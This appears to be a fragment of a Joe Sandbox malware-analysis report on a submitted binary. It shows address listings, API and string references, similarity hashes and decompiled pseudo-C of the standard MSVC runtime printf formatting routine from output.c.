0x00434d11
0x00434d11
0x00434d15
0x00434d23
0x00434d26
0x00434d17
0x00434d17
0x00434d17
0x00434d2c
0x00434d32
0x00434d38
0x00434d44
0x00434d4a
0x00434d4a
0x00434d50
0x00434db7
0x00434db7
0x00434dbb
0x00434dbd
0x00434dc3
0x00434dc3
0x00434dc6
0x00434dc9
0x00434dcf
0x00434dcf
0x00434dcf
0x00434ddb
0x00434dde
0x00434de4
0x00434de6
0x00000000
0x00000000
0x00434de8
0x00434de8
0x00434dee
0x00434df1
0x00434df3
0x00000000
0x00000000
0x00434df5
0x00434dfb
0x00434dfe
0x00434dfe
0x00434e06
0x00434e06
0x00434e0c
0x00434e0c
0x00434e0f
0x00000000
0x00434d52
0x00434d52
0x00434d52
0x00434d56
0x00434d58
0x00434d5d
0x00434d5d
0x00434d60
0x00434d67
0x00434d6a
0x00434d70
0x00434d70
0x00434d70
0x00434d7c
0x00434d7f
0x00434d85
0x00434d87
0x00000000
0x00000000
0x00434d89
0x00434d89
0x00434d8f
0x00434d92
0x00434d94
0x00000000
0x00000000
0x00434d96
0x00434d9c
0x00434d9f
0x00434d9f
0x00434da7
0x00434dad
0x00434db0
0x00434db2
0x00434e12
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x004353c2
0x00000000
0x004350cb
0x004350cb
0x00000000
0x00000000
0x004350e7
0x004350e7
0x004350f1
0x004350f1
0x004350fb
0x004350fb
0x00435101
0x00435103
0x0043510d
0x0043510d
0x00435110
0x00435113
0x00435113
0x0043513a
0x0043513d
0x0043513d
0x00435142
0x00435164
0x00435164
0x0043516a
0x0043518c
0x0043518c
0x0043518f
0x004351d6
0x004351d6
0x004351d9
0x004351f6
0x004351fa
0x00435202
0x00435202
0x00435204
0x0043520a
0x004351db
0x004351db
0x004351df
0x004351e7
0x004351e8
0x004351ee
0x004351ee
0x00435191
0x00435194
0x00435194
0x00435197
0x004351b5
0x004351c1
0x004351c4
0x004351c5
0x004351cb
0x00435199
0x00435199
0x0043519d
0x004351a5
0x004351a6
0x004351a7
0x004351ad
0x004351ad
0x004351d1
0x0043516c
0x0043516c
0x00435178
0x0043517e
0x0043517e
0x00435144
0x00435144
0x00435150
0x00435156
0x00435156
0x00435213
0x00435213
0x00435216
0x00435258
0x00435258
0x0043525e
0x00435264
0x0043526a
0x00000000
0x00435218
0x00435218
0x00435218
0x0043521f
0x00000000
0x00000000
0x00435221
0x00435221
0x0043522c
0x00435232
0x00435234
0x0043523a
0x0043523d
0x0043523f
0x00435245
0x0043524e
0x00435253
0x00435270
0x00435273
0x00435273
0x00435278
0x0043527d
0x0043527d
0x00435283
0x00435285
0x0043528b
0x00435291
0x00435291
0x0043529a
0x0043529a
0x00435283
0x004352a0
0x004352a4
0x004352b2
0x004352b5
0x004352b8
0x004352bf
0x004352c1
0x004352c1
0x004352a6
0x004352a6
0x004352a6
0x004352ce
0x004352ce
0x004352d4
0x004352d6
0x004352d6
0x004352dd
0x004352e0
0x004352e3
0x004352e3
0x004352e3
0x004352e9
0x004352ec
0x004352ef
0x004352f1
0x00000000
0x00000000
0x004352f3
0x004352f9
0x004352f9
0x004352ff
0x00000000
0x00000000
0x00435301
0x00435301
0x00435304
0x00435307
0x0043530e
0x00435315
0x0043531d
0x00435323
0x00435326
0x00435329
0x00435330
0x0043533c
0x00435342
0x00435348
0x0043534f
0x00435351
0x00435357
0x00435357
0x0043535d
0x0043535d
0x00435363
0x00435366
0x0043536c
0x00435371
0x00435374
0x004352e3
0x004352e3
0x004352e9
0x004352ec
0x004352ef
0x004352f1
0x00000000
0x00000000
0x00000000
0x004352f1
0x004352e3
0x00435223
0x00435223
0x0043522a
0x00000000
0x00000000
0x00000000
0x0043522a
0x00000000
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x00000000
0x00000000
0x00434981
0x00434984
0x00434987
0x00000000
0x00000000
0x0043498c
0x0043498f
0x00434994
0x00000000
0x00000000
0x00434976
0x00434976
0x00434979
0x0043497c
0x00000000
0x00000000
0x0043496b
0x0043496e
0x00434971
0x00000000
0x00000000
0x00434999
0x00434999
0x0043499c
0x0043499c
0x0043499f
0x00000000
0x00000000
0x004349a2
0x00000000
0x00000000
0x0043473e
0x00434740
0x0043474e
0x00434742
0x00434742
0x00434742
0x00434758
0x0043475e
0x0043476b
0x0043476d
0x00434772
0x00434774
0x00434779
0x0043477e
0x00434780
0x00434785
0x0043478b
0x0043478d
0x0043478d
0x0043478b
0x0043478e
0x00434795
0x00000000
0x00434797
0x0043479c
0x004347b8
0x004347c0
0x004347cd
0x004347d2
0x00435691
0x0043569e
0x0043569e
0x00434795
0x00434738
0x004355cd
0x004355d4
0x004355eb
0x004355eb
0x004355f5
0x004355f5
0x004355fb
0x00435608
0x0043560a
0x0043560f
0x00435611
0x00435616
0x0043561b
0x0043561d
0x00435622
0x00435628
0x0043562a
0x0043562a
0x00435628
0x00435632
0x0043567d
0x00435686
0x0043568b
0x00435634
0x00435639
0x00435655
0x0043565d
0x0043566a
0x0043566f
0x0043566f
0x00000000
0x00435632
0x004355d6
0x004355dd
0x00000000
0x00000000
0x004355df
0x004355df
0x00000000
0x004355df
0x004353c2
0x00434c8c
0x00434c8c
0x00434c92
0x00434c99
0x00434c9e
0x00434ca1
0x00000000
0x00434ca1

APIs

_get_int_arg.LIBCMTD ref: 00434C69
_strlen.LIBCMT ref: 00434C99
_write_multi_char.LIBCMTD ref: 0043543E
_write_string.LIBCMTD ref: 00435459
_write_multi_char.LIBCMTD ref: 00435485
_wctomb_s.LIBCMTD ref: 00435502

Strings

("Incorrect format specifier", 0), xrefs: 0043476D, 004347B3
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00434779, 004347A9
HD@, xrefs: 00434C8C
_output_s_l, xrefs: 004347AE
-, xrefs: 004353DE

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$HD@$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2232461714-2091699214
Opcode ID: 1383094e7ff25fc9f4c7fe71c00a3fb9767d327c96c670db4873ce8eb16f5c67
Instruction ID: cd6acc016a55e6ba9e52e2396e6ac0397338b9fa8e70383466089a76e676e4b5
Opcode Fuzzy Hash: 1383094e7ff25fc9f4c7fe71c00a3fb9767d327c96c670db4873ce8eb16f5c67
Instruction Fuzzy Hash: C7A181B0D016289FDF64DF54CC89BEEB7B1AB88305F1491DAD40867281E778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043BEE4, Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043BEE4(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t482;
				signed int _t484;
				signed int _t487;
				void* _t492;
				signed int _t494;
				void* _t502;
				void* _t520;
				signed int _t524;
				void* _t534;
				signed int _t567;
				signed int _t573;
				void* _t594;
				void* _t595;
				signed int _t596;
				void* _t598;
				void* _t599;

				L0:
				while(1) {
					L0:
					_t595 = __esi;
					_t594 = __edi;
					_t534 = __ebx;
					_t482 = E004284A0(_t596 + 0x14);
					_t599 = _t598 + 4;
					 *((intOrPtr*)(_t596 - 0x474)) = _t482;
					if( *((intOrPtr*)(_t596 - 0x474)) == 0) {
						goto L76;
					}
					L75:
					__ecx =  *(__ebp - 0x474);
					if( *(__ecx + 4) != 0) {
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L80:
						while(1) {
							L187:
							if( *(_t596 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t596 - 0x10) & 0x00000040) != 0) {
								if(( *(_t596 - 0x10) & 0x00000100) == 0) {
									if(( *(_t596 - 0x10) & 0x00000001) == 0) {
										if(( *(_t596 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t596 - 0x14)) = 0x20;
											 *(_t596 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t596 - 0x14)) = 0x2b;
										 *(_t596 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t596 - 0x14)) = 0x2d;
									 *(_t596 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t596 - 0x4ac)) =  *((intOrPtr*)(_t596 - 0x18)) -  *(_t596 - 0x24) -  *(_t596 - 0x1c);
							if(( *(_t596 - 0x10) & 0x0000000c) == 0) {
								E0043CAB0(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
							}
							E0043CAF0( *(_t596 - 0x1c), _t596 - 0x14,  *(_t596 - 0x1c),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
							_t599 = _t599 + 0x10;
							if(( *(_t596 - 0x10) & 0x00000008) != 0) {
								if(( *(_t596 - 0x10) & 0x00000004) == 0) {
									E0043CAB0(0x30,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
									_t599 = _t599 + 0x10;
								}
							}
							if( *(_t596 - 0xc) != 0) {
								L208:
								E0043CAF0( *(_t596 - 0x24),  *(_t596 - 4),  *(_t596 - 0x24),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t596 - 0x24) <= 0) {
									goto L208;
								}
								L202:
								 *(_t596 - 0x4b0) =  *(_t596 - 4);
								 *(_t596 - 0x4b4) =  *(_t596 - 0x24);
								while(1) {
									L203:
									 *(_t596 - 0x4b4) =  *(_t596 - 0x4b4) - 1;
									if( *(_t596 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t520 = E0041AE20(_t596 - 0x40);
									_t524 = E0043B550(_t596 - 0x458,  *(_t596 - 0x4b0),  *((intOrPtr*)( *((intOrPtr*)(E0041AE20(_t596 - 0x40))) + 0xac)), _t520);
									_t599 = _t599 + 0x10;
									 *(_t596 - 0x4b8) = _t524;
									if( *(_t596 - 0x4b8) > 0) {
										L206:
										E0043CA50( *(_t596 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0xc;
										 *(_t596 - 0x4b0) =  *(_t596 - 0x4b0) +  *(_t596 - 0x4b8);
										continue;
									}
									L205:
									 *(_t596 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t596 - 0x44c) >= 0) {
									if(( *(_t596 - 0x10) & 0x00000004) != 0) {
										E0043CAB0(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0x10;
									}
								}
							}
							L212:
							if( *(_t596 - 0x20) != 0) {
								L0041C510( *(_t596 - 0x20), 2);
								_t599 = _t599 + 8;
								 *(_t596 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t596 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t596 + 0xc))));
								_t535 =  *(_t596 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t596 + 0xc)) =  *((intOrPtr*)(_t596 + 0xc)) + 2;
								if(( *(_t596 - 0x454) & 0x0000ffff) == 0 ||  *(_t596 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t596 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t596 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t596 - 0x4d8) = 0;
									} else {
										 *(_t596 - 0x4d8) =  *(( *(_t596 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
									}
								}
								L7:
								 *(_t596 - 0x450) =  *(_t596 - 0x4d8);
								_t573 =  *(_t596 - 0x450) * 9;
								_t494 =  *(_t596 - 0x45c);
								_t543 = ( *(_t573 + _t494 + 0x407e08) & 0x000000ff) >> 4;
								 *(_t596 - 0x45c) = ( *(_t573 + _t494 + 0x407e08) & 0x000000ff) >> 4;
								if( *(_t596 - 0x45c) != 8) {
									L16:
									 *(_t596 - 0x4e0) =  *(_t596 - 0x45c);
									if( *(_t596 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t596 - 0x4e0) * 4 +  &M0043C944))) {
										case 0:
											L18:
											 *(_t596 - 0xc) = 1;
											E0043CA50( *(_t596 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
											_t599 = _t599 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t59 =  *(__ebp - 0x4e4) + 0x43c97c; // 0x498d04
											__ecx =  *_t59 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C964))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t83;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E004284A0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t94;
												 *(__ebp - 0x30) = __ecx + _t94;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E004284A0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t102 =  *(__ebp - 0x4e8) + 0x43c9a4; // 0xc1b19003
											__ecx =  *_t102 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C990))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t596 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t143 =  *(__ebp - 0x4ec) + 0x43ca10; // 0xcccccc0d
											__eax =  *_t143 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M0043C9D4))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L81:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L83;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													goto L0;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B890( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AE20(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x440374; // 0x7e8e98dc
															E00424690(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE20(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x440380; // 0x8a8e9826
																	E00424690(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE20(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x44037c; // 0xc28e9826
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
															goto L187;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E004284A0(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
